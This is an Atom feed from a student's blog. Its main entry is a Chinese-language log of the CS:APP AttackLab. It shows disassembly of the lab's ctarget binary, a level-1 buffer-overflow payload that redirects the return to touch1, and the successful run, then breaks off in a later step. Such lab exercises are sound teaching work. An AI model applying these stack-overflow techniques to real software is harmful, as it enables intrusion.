<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Aobzii&#39;s Ramblings</title>
  
  <subtitle>Aobzii2024</subtitle>
  <link href="https://ramblings.aobzii.top/atom.xml" rel="self"/>
  
  <link href="https://ramblings.aobzii.top/"/>
  <updated>2026-06-06T13:10:08.115Z</updated>
  <id>https://ramblings.aobzii.top/</id>
  
  <author>
    <name>Aobzii</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>大二下的期末考试</title>
    <link href="https://ramblings.aobzii.top/2026/06/05/%E5%A4%A7%E4%BA%8C%E4%B8%8B%E7%9A%84%E6%9C%9F%E6%9C%AB%E8%80%83%E8%AF%95/"/>
    <id>https://ramblings.aobzii.top/2026/06/05/%E5%A4%A7%E4%BA%8C%E4%B8%8B%E7%9A%84%E6%9C%9F%E6%9C%AB%E8%80%83%E8%AF%95/</id>
    <published>2026-06-05T16:00:00.000Z</published>
    <updated>2026-06-06T13:10:08.115Z</updated>
    
    <content type="html"><![CDATA[<ul><li><input disabled="" type="checkbox"> 数电 7.1 (18：30 - 20:20) 教三208</li><li><input disabled="" type="checkbox"> 算法 7.2 (8:00 - 9:50) 教三202</li><li><input disabled="" type="checkbox"> Python 6.28 (10:25 - 12:15) 教四101</li><li><input disabled="" type="checkbox"> 概率论 6.29 (10:25 - 12:15) 教二308</li><li><input disabled="" type="checkbox"> 计算机系统基础 (13:30) 教二102</li><li><input disabled="" type="checkbox"> Java (10:25 - 12:15) 教四101</li><li><input disabled="" type="checkbox"> 数学建模大作业 6.16号截止</li><li><input disabled="" type="checkbox"> 电工电子 6.22 (19:00 - 21:00)</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; 数电 7.1 (18：30 - 20:20) 教三208&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; 算法 7.2 (8:00 - 9:50) </summary>
      
    
    
    
    
    <category term="plan" scheme="https://ramblings.aobzii.top/tags/plan/"/>
    
  </entry>
  
  <entry>
    <title>AttackLab</title>
    <link href="https://ramblings.aobzii.top/2026/05/10/AttackLab/"/>
    <id>https://ramblings.aobzii.top/2026/05/10/AttackLab/</id>
    <published>2026-05-10T16:00:00.000Z</published>
    <updated>2026-06-06T13:10:08.115Z</updated>
    
    <content type="html"><![CDATA[<h1 id="AttackLab"><a href="#AttackLab" class="headerlink" title="AttackLab"></a>AttackLab</h1><hr><ul><li><p><input checked="" disabled="" type="checkbox"> 我在调整网络 完成</p></li><li><p><input checked="" disabled="" type="checkbox"> 上传并且解压完成：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">aobzii@aobzii-VMware-Virtual-Platform:~/桌面$ ssh B24040307@10.160.106.190</span><br><span class="line">B24040307@10.160.106.190<span class="string">&#x27;s password: </span></span><br><span class="line"><span class="string">Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.5.0-25-generic x86_64)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> * Documentation:  https://help.ubuntu.com</span></span><br><span class="line"><span class="string"> * Management:     https://landscape.canonical.com</span></span><br><span class="line"><span class="string"> * Support:        https://ubuntu.com/pro</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Expanded Security Maintenance for Applications is not enabled.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">438 updates can be applied immediately.</span></span><br><span class="line"><span class="string">436 of these updates are standard security updates.</span></span><br><span class="line"><span class="string">To see these additional updates run: apt list --upgradable</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">30 additional security updates can be applied with ESM Apps.</span></span><br><span class="line"><span class="string">Learn more about enabling ESM Apps service at https://ubuntu.com/esm</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">The list of available updates is more than a week old.</span></span><br><span class="line"><span class="string">To check for new updates run: sudo apt update</span></span><br><span class="line"><span class="string">Last login: Tue May  5 17:00:48 2026 from 10.163.209.196</span></span><br><span class="line"><span class="string">B24040307@ICS:~$ tar -xvf target48.tar</span></span><br><span class="line"><span class="string">target48/README.txt</span></span><br><span class="line"><span class="string">target48/ctarget</span></span><br><span class="line"><span class="string">target48/rtarget</span></span><br><span class="line"><span class="string">target48/farm.c</span></span><br><span class="line"><span class="string">target48/cookie.txt</span></span><br><span class="line"><span class="string">target48/hex2raw</span></span><br><span class="line"><span class="string">B24040307@ICS:~$ </span></span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 上传printf.so 到服务器</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">aobzii@aobzii-VMware-Virtual-Platform:~/桌面$ scp /home/aobzii/下载/printf.so B24040307@10.160.106.190:/home/B24040307/target48</span><br><span class="line">B24040307@10.160.106.190<span class="string">&#x27;s password: </span></span><br><span class="line"><span class="string">printf.so                                     100%   32KB 214.7KB/s   00:00    </span></span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 连接服务器</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh B24040307@10.160.106.190</span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 连接确定文件在实验服务器文件夹上</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">B24040307@ICS:~$ <span class="built_in">ls</span></span><br><span class="line">bomb62bomb62.tar  lab2  snaptarget48  target48.tar</span><br><span class="line">B24040307@ICS:~$ <span class="built_in">cd</span> target48</span><br><span class="line">B24040307@ICS:~/target48$ <span class="built_in">ls</span></span><br><span class="line">cookie.txt  ctarget  farm.c  hex2raw  printf.so  README.txt  rtarget</span><br><span class="line">B24040307@ICS:~/target48$ </span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 获得个人cookie</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">B24040307@ICS:~/target48$ <span class="built_in">cat</span> cookie.txt</span><br><span class="line">0x1c2a3245</span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 加载pirntf.so 然后测试</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget -q</span><br><span class="line">Cookie: 0x1c2a3245</span><br><span class="line">Type string:2024</span><br><span class="line">No exploit.  Getbuf returned 0x1</span><br><span class="line">Normal <span class="built_in">return</span></span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> objdump -d ctarget相关的操作</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br></pre></td><td class="code"><pre><span class="line">// 子程序1</span><br><span class="line">B24040307@ICS:~/target48$ objdump -d ctarget | grep -A20 <span class="string">&quot;&lt;getbuf&gt;&quot;</span></span><br><span class="line">0000000000401f09 &lt;getbuf&gt;:</span><br><span class="line">  401f09:f3 0f 1e fa          endbr64 </span><br><span class="line">  401f0d:48 83 ec 18          sub    <span class="variable">$0x18</span>,%rsp</span><br><span class="line">  401f11:48 89 e7             mov    %rsp,%rdi</span><br><span class="line">  401f14:e8 ad 02 00 00       call   4021c6 &lt;Gets&gt;</span><br><span class="line">  401f19:b8 01 00 00 00       mov    <span class="variable">$0x1</span>,%eax</span><br><span class="line">  401f1e:48 83 c4 18          add    <span class="variable">$0x18</span>,%rsp</span><br><span class="line">  401f22:c3                   ret    </span><br><span class="line"></span><br><span class="line">0000000000401f23 &lt;touch1&gt;:</span><br><span class="line">  401f23:f3 0f 1e fa          endbr64 </span><br><span class="line">  401f27:50                   push   %rax</span><br><span class="line">  401f28:58                   pop    %rax</span><br><span class="line">  401f29:48 83 ec 08          sub    <span class="variable">$0x8</span>,%rsp</span><br><span class="line">  401f2d:c7 05 15 56 00 00 01 movl   <span class="variable">$0x1</span>,0x5615(%rip)        <span class="comment"># 40754c &lt;vlevel&gt;</span></span><br><span class="line">  401f34:00 00 00 </span><br><span class="line">  401f37:48 8d 3d 98 23 00 00 lea    0x2398(%rip),%rdi        <span class="comment"># 4042d6 &lt;_IO_stdin_used+0x2d6&gt;</span></span><br><span class="line">  401f3e:e8 7d f3 ff ff       call   4012c0 &lt;puts@plt&gt;</span><br><span class="line">  401f43:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  401f48:e8 fb 04 00 00       call   402448 &lt;validate&gt;</span><br><span class="line">  401f4d:bf 00 00 00 00       mov    <span class="variable">$0x0</span>,%edi</span><br><span class="line">--</span><br><span class="line">  4020f7:e8 0d fe ff ff       call   401f09 &lt;getbuf&gt;</span><br><span class="line">  4020fc:89 c2                mov    %eax,%edx</span><br><span class="line">  4020fe:48 8d 35 93 22 00 00 lea    0x2293(%rip),%rsi        <span class="comment"># 404398 &lt;_IO_stdin_used+0x398&gt;</span></span><br><span class="line">  402105:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  40210a:b8 00 00 00 00       mov    <span class="variable">$0x0</span>,%eax</span><br><span class="line">  40210f:e8 cc f2 ff ff       call   4013e0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  402114:48 83 c4 08          add    <span class="variable">$0x8</span>,%rsp</span><br><span class="line">  402118:c3                   ret    </span><br><span class="line"></span><br><span class="line">0000000000402119 &lt;save_char&gt;:</span><br><span class="line">  402119:8b 05 45 60 00 00    mov    0x6045(%rip),%eax        <span class="comment"># 408164 &lt;gets_cnt&gt;</span></span><br><span class="line">  40211f:3d ff 03 00 00       cmp    <span class="variable">$0x3ff</span>,%eax</span><br><span class="line">  402124:7f 4a                jg     402170 &lt;save_char+0x57&gt;</span><br><span class="line">  402126:89 f9                mov    %edi,%ecx</span><br><span class="line">  402128:c0 e9 04             shr    <span class="variable">$0x4</span>,%cl</span><br><span class="line">  40212b:8d 14 40             lea    (%rax,%rax,2),%edx</span><br><span class="line">  40212e:4c 8d 05 8b 25 00 00 lea    0x258b(%rip),%r8        <span class="comment"># 4046c0 &lt;trans_char&gt;</span></span><br><span class="line">  402135:83 e1 0f             and    <span class="variable">$0xf</span>,%ecx</span><br><span class="line">  402138:45 0f b6 0c 08       movzbl (%r8,%rcx,1),%r9d</span><br><span class="line">  40213d:48 8d 0d 1c 54 00 00 lea    0x541c(%rip),%rcx        <span class="comment"># 407560 &lt;gets_buf&gt;</span></span><br><span class="line">  402144:48 63 f2             movslq %edx,%rsi</span><br><span class="line">  </span><br><span class="line">// 子程序2</span><br><span class="line">B24040307@ICS:~/target48$ objdump -d ctarget | grep -A20 <span class="string">&quot;&lt;touch1&gt;&quot;</span></span><br><span class="line">0000000000401f23 &lt;touch1&gt;:</span><br><span class="line">  401f23:f3 0f 1e fa          endbr64 </span><br><span class="line">  401f27:50                   push   %rax</span><br><span class="line">  401f28:58                   pop    %rax</span><br><span class="line">  401f29:48 83 ec 08          sub    <span class="variable">$0x8</span>,%rsp</span><br><span class="line">  401f2d:c7 05 15 56 00 00 01 movl   <span class="variable">$0x1</span>,0x5615(%rip)        <span class="comment"># 40754c &lt;vlevel&gt;</span></span><br><span class="line">  401f34:00 00 00 </span><br><span class="line">  401f37:48 8d 3d 98 23 00 00 lea    0x2398(%rip),%rdi        <span class="comment"># 4042d6 &lt;_IO_stdin_used+0x2d6&gt;</span></span><br><span class="line">  401f3e:e8 7d f3 ff ff       call   4012c0 &lt;puts@plt&gt;</span><br><span class="line">  401f43:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  401f48:e8 fb 04 00 00       call   402448 &lt;validate&gt;</span><br><span class="line">  401f4d:bf 00 00 00 00       mov    <span class="variable">$0x0</span>,%edi</span><br><span class="line">  401f52:e8 d9 f4 ff ff       call   401430 &lt;<span class="built_in">exit</span>@plt&gt;</span><br><span class="line"></span><br><span class="line">0000000000401f57 &lt;touch2&gt;:</span><br><span class="line">  401f57:f3 0f 1e fa          endbr64 </span><br><span class="line">  401f5b:50                   push   %rax</span><br><span class="line">  401f5c:58                   pop    %rax</span><br><span class="line">  401f5d:48 83 ec 08          sub    <span class="variable">$0x8</span>,%rsp</span><br><span class="line">  401f61:89 fa                mov    %edi,%edx</span><br><span class="line">  401f63:c7 05 <span class="built_in">df</span> 55 00 00 02 movl   <span class="variable">$0x2</span>,0x55df(%rip)        <span class="comment"># 40754c &lt;vlevel&gt;</span></span><br><span class="line">  </span><br><span class="line">// 子程序3</span><br><span class="line">B24040307@ICS:~/target48$ objdump -d ctarget | grep -A30 <span class="string">&quot;&lt;touch2&gt;&quot;</span></span><br><span class="line">0000000000401f57 &lt;touch2&gt;:</span><br><span class="line">  401f57:f3 0f 1e fa          endbr64 </span><br><span class="line">  401f5b:50                   push   %rax</span><br><span class="line">  401f5c:58                   pop    %rax</span><br><span class="line">  401f5d:48 83 ec 08          sub    <span class="variable">$0x8</span>,%rsp</span><br><span class="line">  401f61:89 fa                mov    %edi,%edx</span><br><span class="line">  401f63:c7 05 <span class="built_in">df</span> 55 00 00 02 movl   <span class="variable">$0x2</span>,0x55df(%rip)        <span class="comment"># 40754c &lt;vlevel&gt;</span></span><br><span class="line">  401f6a:00 00 00 </span><br><span class="line">  401f6d:39 3d e1 55 00 00    cmp    %edi,0x55e1(%rip)        <span class="comment"># 407554 &lt;cookie&gt;</span></span><br><span class="line">  401f73:74 2a                je     401f9f &lt;touch2+0x48&gt;</span><br><span class="line">  401f75:48 8d 35 a4 23 00 00 lea    0x23a4(%rip),%rsi        <span class="comment"># 404320 &lt;_IO_stdin_used+0x320&gt;</span></span><br><span class="line">  401f7c:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  401f81:b8 00 00 00 00       mov    <span class="variable">$0x0</span>,%eax</span><br><span class="line">  401f86:e8 55 f4 ff ff       call   4013e0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  401f8b:bf 02 00 00 00       mov    <span class="variable">$0x2</span>,%edi</span><br><span class="line">  401f90:e8 87 05 00 00       call   40251c &lt;fail&gt;</span><br><span class="line">  401f95:bf 00 00 00 00       mov    <span class="variable">$0x0</span>,%edi</span><br><span class="line">  401f9a:e8 91 f4 ff ff       call   401430 &lt;<span class="built_in">exit</span>@plt&gt;</span><br><span class="line">  401f9f:48 8d 35 52 23 00 00 lea    0x2352(%rip),%rsi        <span class="comment"># 4042f8 &lt;_IO_stdin_used+0x2f8&gt;</span></span><br><span class="line">  401fa6:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  401fab:b8 00 00 00 00       mov    <span class="variable">$0x0</span>,%eax</span><br><span class="line">  401fb0:e8 2b f4 ff ff       call   4013e0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  401fb5:bf 02 00 00 00       mov    <span class="variable">$0x2</span>,%edi</span><br><span class="line">  401fba:e8 89 04 00 00       call   402448 &lt;validate&gt;</span><br><span class="line">  401fbf:eb d4                jmp    401f95 &lt;touch2+0x3e&gt;</span><br><span class="line"></span><br><span class="line">0000000000401fc1 &lt;hexmatch&gt;:</span><br><span class="line">  401fc1:f3 0f 1e fa          endbr64 </span><br><span class="line">  401fc5:41 54                push   %r12</span><br><span class="line">  401fc7:55                   push   %rbp</span><br><span class="line">  401fc8:53                   push   %rbx</span><br><span class="line">  </span><br><span class="line">// 子程序4</span><br><span class="line">B24040307@ICS:~/target48$ objdump -d ctarget | grep -A40 <span class="string">&quot;&lt;touch3&gt;&quot;</span></span><br><span class="line">0000000000402074 &lt;touch3&gt;:</span><br><span class="line">  402074:f3 0f 1e fa          endbr64 </span><br><span class="line">  402078:53                   push   %rbx</span><br><span class="line">  402079:48 89 fb             mov    %rdi,%rbx</span><br><span class="line">  40207c:c7 05 c6 54 00 00 03 movl   <span class="variable">$0x3</span>,0x54c6(%rip)        <span class="comment"># 40754c &lt;vlevel&gt;</span></span><br><span class="line">  402083:00 00 00 </span><br><span class="line">  402086:48 89 fe             mov    %rdi,%rsi</span><br><span class="line">  402089:8b 3d c5 54 00 00    mov    0x54c5(%rip),%edi        <span class="comment"># 407554 &lt;cookie&gt;</span></span><br><span class="line">  40208f:e8 2d ff ff ff       call   401fc1 &lt;hexmatch&gt;</span><br><span class="line">  402094:85 c0                <span class="built_in">test</span>   %eax,%eax</span><br><span class="line">  402096:74 2d                je     4020c5 &lt;touch3+0x51&gt;</span><br><span class="line">  402098:48 89 da             mov    %rbx,%rdx</span><br><span class="line">  40209b:48 8d 35 a6 22 00 00 lea    0x22a6(%rip),%rsi        <span class="comment"># 404348 &lt;_IO_stdin_used+0x348&gt;</span></span><br><span class="line">  4020a2:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  4020a7:b8 00 00 00 00       mov    <span class="variable">$0x0</span>,%eax</span><br><span class="line">  4020ac:e8 2f f3 ff ff       call   4013e0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  4020b1:bf 03 00 00 00       mov    <span class="variable">$0x3</span>,%edi</span><br><span class="line">  4020b6:e8 8d 03 00 00       call   402448 &lt;validate&gt;</span><br><span class="line">  4020bb:bf 00 00 00 00       mov    <span class="variable">$0x0</span>,%edi</span><br><span class="line">  4020c0:e8 6b f3 ff ff       call   401430 &lt;<span class="built_in">exit</span>@plt&gt;</span><br><span class="line">  4020c5:48 89 da             mov    %rbx,%rdx</span><br><span class="line">  4020c8:48 8d 35 a1 22 00 00 lea    0x22a1(%rip),%rsi        <span class="comment"># 404370 &lt;_IO_stdin_used+0x370&gt;</span></span><br><span class="line">  4020cf:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  4020d4:b8 00 00 00 00       mov    <span class="variable">$0x0</span>,%eax</span><br><span class="line">  4020d9:e8 02 f3 ff ff       call   4013e0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  4020de:bf 03 00 00 00       mov    <span class="variable">$0x3</span>,%edi</span><br><span class="line">  4020e3:e8 34 04 00 00       call   40251c &lt;fail&gt;</span><br><span class="line">  4020e8:eb d1                jmp    4020bb &lt;touch3+0x47&gt;</span><br><span class="line"></span><br><span class="line">00000000004020ea &lt;<span class="built_in">test</span>&gt;:</span><br><span class="line">  4020ea:f3 0f 1e fa          endbr64 </span><br><span class="line">  4020ee:48 83 ec 08          sub    <span class="variable">$0x8</span>,%rsp</span><br><span class="line">  4020f2:b8 00 00 00 00       mov    <span class="variable">$0x0</span>,%eax</span><br><span class="line">  4020f7:e8 0d fe ff ff       call   401f09 &lt;getbuf&gt;</span><br><span class="line">  4020fc:89 c2                mov    %eax,%edx</span><br><span class="line">  4020fe:48 8d 35 93 22 00 00 lea    0x2293(%rip),%rsi        <span class="comment"># 404398 &lt;_IO_stdin_used+0x398&gt;</span></span><br><span class="line">  402105:bf 01 00 00 00       mov    <span class="variable">$0x1</span>,%edi</span><br><span class="line">  40210a:b8 00 00 00 00       mov    <span class="variable">$0x0</span>,%eax</span><br><span class="line">  40210f:e8 cc f2 ff ff       call   4013e0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  402114:48 83 c4 08          add    <span class="variable">$0x8</span>,%rsp</span><br><span class="line">  402118:c3                   ret</span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 创建攻击文件 保存在实验服务器</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">B24040307@ICS:~/target48$ <span class="built_in">cat</span> &gt; ctarget.l1 &lt;&lt;<span class="string">EOF</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">23 1f 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line">B24040307@ICS:~/target48$ <span class="built_in">cat</span> ctarget.l1</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">23 1f 40 00 00 00 00 00</span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 数字对序列转化为对应的字节序列保存</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">B24040307@ICS:~/target48$ ./hex2raw &lt; ctarget.l1 &gt; clevel1.txt</span><br><span class="line">B24040307@ICS:~/target48$ <span class="built_in">ls</span> -l ctarget.l1 clevel1.txt</span><br><span class="line">-rw-rw-r-- 1 B24040307 B24040307 33  5月 11 16:57 clevel1.txt</span><br><span class="line">-rw-rw-r-- 1 B24040307 B24040307 96  5月 11 16:52 ctarget.l1</span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 不通知服务器的攻击一次</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget -q &lt; clevel1.txt</span><br><span class="line">Cookie: 0x1c2a3245</span><br><span class="line">Type string:Touch1!: You called touch1()</span><br><span class="line">Valid solution <span class="keyword">for</span> level 1 with target ctarget</span><br><span class="line">PASS: Would have posted the following:</span><br><span class="line">user <span class="built_in">id</span>B24040307</span><br><span class="line">course15213-f15</span><br><span class="line">labattacklab</span><br><span class="line">result48:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 1F 40 00 00 00 00 00</span><br></pre></td></tr></table></figure></li><li><p><input checked="" disabled="" type="checkbox"> 第一个解决与提交</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget -q &lt; clevel1.txt</span><br><span class="line">Cookie: 0x1c2a3245</span><br><span class="line">Type string:Touch1!: You called touch1()</span><br><span class="line">Valid solution <span class="keyword">for</span> level 1 with target ctarget</span><br><span class="line">PASS: Would have posted the following:</span><br><span class="line">user <span class="built_in">id</span>B24040307</span><br><span class="line">course15213-f15</span><br><span class="line">labattacklab</span><br><span class="line">result48:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 1F 40 00 00 00 00 00 </span><br><span class="line">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./ctarget &lt; clevel1.txt</span><br><span class="line">Cookie: 0x1c2a3245</span><br><span class="line">Type string:Touch1!: You called touch1()</span><br><span class="line">Valid solution <span class="keyword">for</span> level 1 with target ctarget</span><br><span class="line">PASS: Sent exploit string to server to be validated.</span><br><span class="line">NICE JOB!</span><br></pre></td></tr></table></figure></li><li><p><input disabled="" type="checkbox"> 全部完成</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span 